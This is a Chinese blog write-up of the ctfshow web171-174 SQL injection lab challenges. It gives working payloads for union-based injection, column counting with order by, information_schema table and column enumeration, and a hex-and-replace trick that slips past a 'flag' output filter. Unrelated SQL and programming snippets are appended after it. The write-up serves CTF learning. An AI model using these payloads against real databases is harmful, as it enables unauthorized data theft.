ctfshow web171-174

2023-11-18

Web 171

打开发现以下内容。

看到了一个查询语句,于是认真看了一下。

//拼接sql语句查找指定ID用户

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接传入1,代码会变成

select username,password from user where username !='flag' and id ='1' limit 1;

这样可以查询到,但当我输入1‘时就不行了。

仔细看当我输入的是1’时,语句会变成

select username,password from user where username !='flag' and id ='1'' limit 1;

1后边会变成两个单引号,语句不规范,显示错误。

我们在后面加个注释符,即变成id=1'--+(+相当于空格的作用)

这时语句会变成

select username,password from user where username !='flag' and id ='1'

后边的一部分会被注释掉。

之后就可以接入我们需要的语句。

利用union语句来连接查询一下数据库的名字。

1' union select database(),2,3 --+

在前边加一个负号来把查询id回显的数据给置空。

然后查询表名,可以用group_concat函数,它可以把相同行的数据都组合起来。

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

roup_concat函数的功能.   将group by产生的同一个分组中的值连接起来,返回一个字符串结果。.   group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。

查询到表名,然后查询列名。

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

一个一个尝试查询,最后在password找到flag。

-1' union select password,2,3 from ctfshow_user --+

Web 172

利用order by查询有几列。

当输入到

1' order by 2 --+

之后就发现不成功,所以有两列

然后查询数据库名

1' union select database(),1 --+

再查询表名:

-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+

有两个表,一个一个试一下。

第一个

-1' union select password,1 from ctfshow_user --+

第二个

-1' union select password,1 from ctfshow_user2 --+

Web 173

多了一个正则绕过
//检查结果是否有flag

    if(!preg_match('/flag/i', json_encode($ret))){

      $ret['msg']='查询成功';

}
但好像没什莫关系。
先查有几列。
1' order by 3 --+
之后就不会再显示所以有三列。
然后就和上两题一样。
最后发现表名到了一个ctfshow_user3
 
然后直接查询了
-1' union select password,1,2 from ctfshow_user3 --+
 

Web 174
刚进入发现和173一摸一样,有点意外,试着写了一下发现我进错了。
之后又点了一下才出来了。
 
 

这次过滤多了一点。

看了一位师傅不一样的解法。

这位师傅用了替换的思路将1-0数字用q~p替换,但本来的flag中一定也会有一些小写字母,这样的话就没办法分辨那个是原本的字母哪个是替换出来的。

所以为了避免这个问题,将password首先hex一下,因为hex()函数的返回值中字母都是大写的,所以我们返回结果中的小写字母就是原来的数字,而大写字母就是原本的字符。

这个虽然说比较麻烦,但也是一种很好的解题思路。

Payload:

1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+

到最后将小写字母替换然后16进制转换一下。

看了许多解法一般都是利用python脚本写出来的。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfshow web171-174 的相关文章

  • 在 SQL Server 中通过标准差消除异常值

    我试图通过标准差消除 SQL Server 2008 中的异常值 我只想要特定列中包含该列平均值的 1 标准差范围内的值的记录 我怎样才能做到这一点 如果您假设事件呈钟形曲线分布 则只有 68 的值与平均值相差 1 个标准差以内 95 的值
  • 计算包含字母/数字的行数

    我想要实现的目标很简单 但是解释起来有点困难 我不知道在 postgres 中这是否真的可能 我处于相当基础的水平 SELECT FROM WHERE LEFT JOIN ON HAVING 等等基本的东西 我正在尝试计算包含特定字母 数字
  • 在 azure Devops 管道中部署 SQL 时遇到错误

    我在 azure Devops 的发布管道中使用 sql DACPAC 类型的部署 但出现以下错误 我对 SQL 不了解 有什么建议吗 Publishing to database database name on server Serve
  • 验证 sql/oracle 中的电子邮件/邮政编码字段

    对于以下方面的一些建议将不胜感激 是否可以通过 oracle 中的 sql 中的某种检查约束来验证电子邮件和邮政编码字段 或者我怀疑 pl sql 带有正则表达式的这种事情 Thanks 这是电子邮件地址的正则表达式语法 包括引号 a zA
  • Postgresql 串行错误自动增量

    我在 postgresql 上遇到问题 我认为 postgresql 中有一个错误 我错误地实现了一些东西 有一个表包括colmn1 primary key colmn2 unique colmn3 插入一行后 如果我尝试使用现有的另一次插
  • sql join 告诉我 ID 是否存在于其他表中

    我有 2 张桌子 A B ID FKID 1 3 2 3 3 4 4 4 我需要一个 select 语句 它显示 A 的所有内容 其中一个字段告诉我表 B 是否有任何与该 ID 匹配的 id Desired Result ID hasB 1
  • 使用转义换行符和回车符取消转义字符串

    我正在尝试编写一个 PLPGSQL 函数来混淆 审查 编辑文本 Obfuscate a body of text by replacing lowercase letters and numbers with symbols CREATE
  • 对于返回超过1个值的SQL select,当Id为GUID时它们如何排序?

    我想知道 SQL Server 如何对查询返回的数据进行排序 并且各个表的 Id 列都是 uniqueidentifier 类型 我在创建所有 GUID 时使用 NHibernate GuidComb 并执行以下操作 Sheet sheet
  • SQL 选择 n 到 m 关系

    我有一个n to m之间的关系Author and Book 表作者 ID Name 1 Follett 2 Rowling 3 Martin 桌书 ID Title Category 1 A Dance with Dragons Fant
  • 唯一约束与唯一索引?

    之间有区别吗 CREATE TABLE p product no integer name text UNIQUE price numeric and CREATE TABLE p product no integer name text
  • Magento 设置脚本中的 ALTER TABLE 不使用 SQL

    乔纳森 戴 https stackoverflow com users 336905 jonathan day says 更新不应采用以下形式 SQL命令 我没遇到过 任何 DDL 或 DML 语句不能 通过 Magento 的配置执行 结
  • REGEXP_REPLACE - 仅当包含在 () 中时才从字符串中删除逗号

    我在 oracle 论坛网站找到了一个例子 输入字符串 a b c x y z a xx yy zz x WITH t AS SELECT a b c x y z a xx yy zz x col1 FROM dual SELECT t c
  • 如何使用第二行中的值填充第一行中的空值?

    我正在尝试编写一个查询 仅显示每个名称的第一行 但这些行的标题为空 因此我想从紧邻的下一行中提取它们的标题 table1 Name Title Row Dan NULL 1 Dan Engineer 2 Dan Developer 3 Ja
  • 如何对多行的一列值求和?

    我有这个表 我想添加几行的 change 列的值 或者更准确地说 从 ne 值为零的行到 ne 值为零的下一行 不是第二个本身 任何答案将不胜感激 rn date ne change 0 2008 12 07 0 10330848398 1
  • SQL UPDATE 语句根据另一个现有行更新列

    基本上我有一个与下表具有相似格式的表格 我想做的是根据这个逻辑更新 Col4 如果 Col2 为空 则用 Col3 更新 Col4 如果 Col2 不为 null 则在 Col1 中查找与 Col2 中的值匹配的值 使用 col3 中的相应
  • 使用条件 SQL 统计每月汇总记录

    我有一张桌子 我们就叫他们桌子吧SUMMARYDATA NIP NAME DEPARTMENT STATUSIN STATUSOUT TOTALLOSTTIME A1 ARIA BB 2020 01 21 08 06 23 2020 01
  • 如何计算 Postgres 上图表中所有连接的节点(行)?

    我的桌子有account id and device id One account id可以有多个device ids 反之亦然 我正在尝试计算每个连接的多对多关系的深度 Ex account id device id 1 10 1 11
  • 如何在 Spring Data 中选择不同的结果

    我在使用简单的 Spring Data 查询或 Query 或 QueryDSL 在 Spring Data 中构建查询时遇到问题 如何选择三列 研究 国家 登录 不同的行 并且查询结果将是用户对象类型的列表 Table User Id S
  • SQLite (Android):使用 ORDER BY 更新查询

    Android SQLite 我想要在 myTable 中的其他行之间插入行在android中使用SQLite 为此 我尝试增加从第 3 行开始的所有行的 id 这样 我就可以在位置 3 处插入新行 myTable 的主键是列 id 表中没
  • 标量子查询包含多行

    我正在使用 H2 数据库并想要移动一些数据 为此 我创建了以下查询 UPDATE CUSTOMER SET EMAIL SELECT service EMAIL FROM CUSTOMER SERVICE AS service INNER

随机推荐

  • OpenGL 入门 10:光源

    点光源 点光源的强度需要随着距离增加而减少 至于减少的系数公式大致如下 在这里d代表了片段距光源的距离 接下来为了计算衰减值 我们定义3个 可配置的 项 常数项Kc 一次项Kl和二次项Kq 常数项通常保持为1 0 它的主要作用是保证分母永远
  • Linux Kernel调度管理之task_struct

    task struct是进程描述符 struct task struct ifdef CONFIG THREAD INFO IN TASK For reasons of header soup see current thread info
  • 敌人进入攻击范围

    笔记 首先要用到游戏对象组件collider 添加组建collider给检测对象和被检测对象 检测对象的 IS trigger 要勾选 两个对象必须有一个添加了rigidbody组建 可以使用edit 中project中的physical进
  • Faster RCNN代码理解(Python)

    最近开始学习深度学习 看了下Faster RCNN的代码 在学习的过程中也查阅了很多其他人写的博客 得到了很大的帮助 所以也打算把自己一些粗浅的理解记录下来 一是记录下自己的菜鸟学习之路 方便自己过后查阅 二来可以回馈网络 目前编程能力有限
  • public boolean isAdmin(String adminId,String adminPwd)

    package cn edu zjgsu book biz import java sql Connection import java sql ResultSet import java sql SQLException import j
  • 报错Installation failed with message Failed to finalize session : INSTALL_FAILED_DUPLICATE_PERMISSION

    遇到这个报错问题 其实是真的挺受用的 把外包项目拿到手之后 发现里面的签名文件是用的系统签名文件 然后就自己从新打包签名后 再次安装后 就出现了上述这个报错 报错如下 Installation failed with message Fai
  • 无线发射功率

    无线电发射功率 无线电发射机输出的射频信号 通过馈线 电缆 输送到天线 由天线以电磁波形式辐射出去 电磁波到达接收地点后 由天线接收下来 仅仅接收很小很小一部分功率 并通过馈线送到无线电接收机 因此在无线网络的工程中 计算发射装置的发射功率
  • msm8937 usb power off charging log

    Format Log Type Time microsec Message Optional Info Log Type B Since Boot Power On Reset D Delta S Statistic S QC IMAGE
  • spark中repartition和coalesce的区别

    总的来讲 两者 对是否允许shuffle 不同 coalesce numPartitions shuffle false repartition numPartitions repartition 其实是 coalesce 中参数shuff
  • 调用拷贝构造函数的三种情况

    1 当用类的一个对象去初始化类的另一个对象时 如下代码中的 Rectangle p2 p1 用对象p1去初始化对象p2 拷贝构造函数被调用 代入法 还有一种是赋值法 Rectangle p2 p1 2 当函数的形参是类的对象 调用函数进行形
  • 中达优控一体机说明书_如何在中达优控一体机上实现温度显示?

    如何在中达优控一体机上实现温度显示 首先是硬件的连接 硬件连接良好是系统能运行的基础 第二就是软件的编程 包括PLC的编程和YKBuilder的组态编程 只有硬件连接好 软件编程没有错误 系统才能正常工作 才能正常显示传感器测量到的温度值
  • Windows环境IDEA下Ranger1.2.0源码编译

    文章目录 Windows环境IDEA下Ranger1 2 0源码编译 一 本地环境准备 二 源码编译 三 使用idea打开项目 1 安装数据库Mysql版 2 配置Tomcat 发布 security admin web项目 3 修改sec
  • 建立一个对象数组,内放5个学生的数据(学号、成绩),用指针指向数组首元素,输出第1,3,5个学生的数据。

    问题描述 建立一个对象数组 内放5个学生的数据 学号 成绩 用指针指向数组首元素 输出第1 3 5个学生的数据 样例输入 无 样例输出 101 78 5 103 98 5 105 95 5 补充程序 include
  • kill 命令 killall pkill

    killall 命令 Linux系统中的killall命令用于杀死指定名字的进程 kill processes by name 我们可以使用kill命令杀死指定进程PID的进程 如果要找到我们需要杀死的进程 我们还需要在之前使用ps等命令再
  • L1-071 前世档案 (20 分)–PAT 团体程序设计天梯赛 GPLT

    include
  • ES6 Promise详解

    优质资源分享 学习路线指引 点击解锁 知识定位 人群定位 Python实战微信订餐小程序 进阶级 本课程是python flask 微信小程序的完美结合 从项目搭建到腾讯云部署上线 打造一个全栈订餐系统 Python量化交易实战 入门级 手
  • Android Studio工具使用技巧

    作为一个Android开发者 熟练使用开发工具能让你工作效率提高 能让你少点加班 剩下时间学习其他的知识 是个多么好的事情 想高级攻城狮方向迈进 不费话了 直接进去主题 一 模版 1 1 for循环的使用 遍历集合的时候 对象 for就可以
  • 使用Python构建强大的网络爬虫

    介绍 网络爬虫是从网站收集数据的强大技术 而Python是这项任务中最流行的语言之一 然而 构建一个强大的网络爬虫不仅仅涉及到获取网页并解析其HTML 在本文中 我们将为您介绍创建一个网络爬虫的过程 这个爬虫不仅可以获取和保存网页内容 还可
  • 【满分】【华为OD机试真题2023 JAVA&JS】字符串重新排序

    华为OD机试真题 2023年度机试题库全覆盖 刷题指南点这里 字符串重新排序 知识点排序数组 时间限制 1s 空间限制 256MB 限定语言 不限 题目描述 给定一个字符串s s包含以空格分隔的若干个单词 请对s进行如下处理后输出 1 单词
  • ctfshow web171-174

    Web 171 打开发现以下内容 看到了一个查询语句 于是认真看了一下 拼接sql语句查找指定ID用户 sql select username password from user where username flag and id GE